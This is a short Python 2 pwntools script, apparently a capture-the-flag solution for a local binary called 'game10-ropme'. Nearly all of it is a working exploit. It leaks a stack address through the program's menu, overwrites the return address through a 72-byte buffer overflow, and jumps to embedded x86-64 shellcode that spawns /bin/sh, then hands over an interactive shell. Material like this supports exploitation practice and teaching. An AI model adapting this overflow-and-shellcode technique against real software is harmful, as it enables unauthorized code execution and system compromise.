Created
December 4, 2015 15:58
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#!/usr/bin/env python2 | |
from pwn import * | |
main = 0x40075d | |
p = process('./game10-ropme') | |
p.sendline('A' * 72 + p64(main)) | |
p.recvuntil('Please choose command: ') | |
p.sendline('1') # print stack address | |
p_buffer = int(p.recvline(), 16) | |
print 'buffer -> 0x%x' % p_buffer | |
p.sendline('3') # exit, trigger rop | |
sample_buffer = 0x7ffc055616e0 | |
shellcode_at = 0x7ffc05561728 | |
# raw_input('wait for gdb attach') | |
SHELLCODE = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" | |
p.sendline('A' * 72 + p64(p_buffer - sample_buffer + shellcode_at) + SHELLCODE) | |
p.sendline('3') | |
p.interactive() |
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